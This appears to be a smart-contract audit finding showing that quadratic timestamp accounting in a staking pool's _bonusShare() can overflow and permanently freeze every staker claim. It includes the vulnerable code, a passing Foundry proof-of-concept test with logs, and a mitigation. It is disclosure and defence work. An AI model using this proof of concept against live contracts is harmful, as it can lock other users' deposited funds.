FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Quadratic accounting on absolute timestamps can overflow and permanently freeze all EXPIRED / SURVIVED claims

Author Revealed upon completion

Quadratic accounting on absolute timestamps can overflow and permanently freeze all EXPIRED / SURVIVED claims

Root + Impact

_bonusShare() expands the k=2 reward formula into a quadratic polynomial over absolute Unix timestamps. An extremely large, but interface-permitted, aggregate stake can overflow an intermediate term even though the final mathematical result would fit in uint256. Every staker claim reverts before transfer, leaving both principal and bonus inaccessible; sweepUnclaimedBonus() cannot free the funds because the unclaimed stake remains reserved.

This is Medium severity. All staker funds in one Pool can be permanently frozen, which is High impact. At the current timestamp, the trigger requires roughly 10^58 token base units of a standard ERC20 stake, making likelihood Low. Under Severity.md, High impact plus Low likelihood maps to Medium.

Description

Normally, claimSurvived() and claimExpired() return a user's principal and pay bonus according to the k=2 time weight inside the risk window. To calculate this in O(1) time without iterating deposits, the Pool accumulates amount * entryTime and amount * entryTime^2.

The implementation expands the square using absolute time T. Solidity 0.8 checks every multiplication and addition for overflow. Math.mulDiv protects only the final ratio; it cannot protect intermediate arithmetic that has already reverted. An overflow in the global denominator makes every staker fail at the same point.

// src/ConfidencePool.sol
function _bonusShare(address user) internal view returns (uint256) {
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[user];
uint256 userMinus = 2 * T * userSumStakeTime[user];
// @> These checked intermediate operations can overflow before mulDiv executes.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus - minus;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Let S = snapshotTotalStaked. In a valid ledger, snapshotSumStakeTimeSq can approach S * T^2, so plus can approach 2 * S * T^2. When it exceeds type(uint256).max, every staker reverts at the same plus calculation. The EXPIRED path sets T = expiry; the SURVIVED path uses the recorded riskWindowEnd, so both are affected.

A non-staker can first call claimExpired() and take its soft-success branch to set the outcome to EXPIRED without invoking _bonusShare. That does not solve the asset issue. Every staker still invokes _bonusShare() and reverts afterward; no function lets a staker withdraw principal while forfeiting bonus, and totalEligibleStake never decreases.

Risk

Likelihood:

  • The Pool observed a risk window and has nonzero bonus, causing its claims to execute _bonusShare().

  • An allowlisted standard ERC20 has no Factory-enforced supply cap, decimals cap, per-stake cap, or per-Pool stake cap; an attacker can provide an exceptionally large stake during the risk window.

  • Around the current Unix timestamp, a conservative trigger is about 10^58 base units, far above ordinary token supply. It is therefore unlikely, but it is not prohibited by the Solidity types or the exposed interface.

Impact:

  • After EXPIRED or SURVIVED, every staker is unable to withdraw principal and bonus, permanently freezing the affected Pool balance.

  • The unclaimed stake forces sweepUnclaimedBonus() to reserve principal and remaining bonus, so it cannot act as an escape hatch. CORRUPTED does not call _bonusShare() and is unaffected.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice PoC for M-02: checked intermediate arithmetic in _bonusShare freezes every staker claim.
contract M02QuadraticTimestampOverflowPoC is BaseConfidencePoolTest {
function testPoC_ExpirySettlementLeavesOverflowingStakerPrincipalLocked() external {
uint256 riskStart = vm.getBlockTimestamp();
// This amount keeps S * riskStart^2 representable when the stake is recorded. At expiry,
// _bonusShare computes T^2 * S + S * riskStart^2, which necessarily exceeds uint256.
uint256 stakeAmount = type(uint256).max / (riskStart * riskStart);
_stake(alice, stakeAmount);
_contributeBonus(carol, ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), riskStart, "risk start is safe for stake accounting");
vm.warp(pool.expiry());
uint256 expiry = pool.expiry();
emit log_named_uint("risk-window start", riskStart);
emit log_named_uint("expiry used as T", expiry);
emit log_named_uint("total staked at safe start", stakeAmount);
emit log_named_uint("T squared (safe standalone value)", expiry * expiry);
// A non-staker can take the soft-success branch and set EXPIRED without touching
// _bonusShare. This proves that the state transition can complete while funds stay stuck.
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "non-staker finalized expiry");
assertEq(pool.snapshotTotalStaked(), stakeAmount, "overflowing snapshot frozen");
// Alice reaches _bonusShare. The global score's checked intermediate addition overflows
// before any state deletion or token transfer, so her principal cannot be withdrawn.
vm.startPrank(alice);
vm.expectRevert();
pool.claimExpired();
vm.stopPrank();
assertEq(pool.eligibleStake(alice), stakeAmount, "principal remains recorded after revert");
assertEq(pool.totalEligibleStake(), stakeAmount, "pool still reserves the frozen stake");
assertEq(token.balanceOf(address(pool)), stakeAmount + ONE, "principal and bonus remain locked");
emit log_named_uint("eligible stake still locked", pool.eligibleStake(alice));
emit log_named_uint("Pool balance still locked", token.balanceOf(address(pool)));
}
}
[PASS] testPoC_ExpirySettlementLeavesOverflowingStakerPrincipalLocked() (gas: 551429)
Logs:
risk-window start: 1750000000
expiry used as T: 1752678400
total staked at safe start: 37809661791776716873002770615081765829639178666331612747577
T squared (safe standalone value): 3071881573826560000
eligible stake still locked: 37809661791776716873002770615081765829639178666331612747577
Pool balance still locked: 37809661791776716873002770615081765829640178666331612747577
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.38ms (509.88µs CPU time)

Recommended Mitigation

Limit total stake according to the worst-case timestamp before writing any quadratic time accumulator, or redesign accounting around relative time to avoid expanding absolute timestamp squares.

function stake(uint256 amount) external {
+ uint256 maxTotalStake = type(uint256).max / (2 * uint256(type(uint32).max) * type(uint32).max);
+ if (totalEligibleStake + amount > maxTotalStake) revert TotalStakeTooLarge();
// existing stake accounting
}

The bound must cover sumStakeTimeSq, T * T * snapshotTotalStaked, and their addition. Checking only the final Math.mulDiv is insufficient. A more robust long-term solution records times relative to the risk-window start rather than as Unix timestamps.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!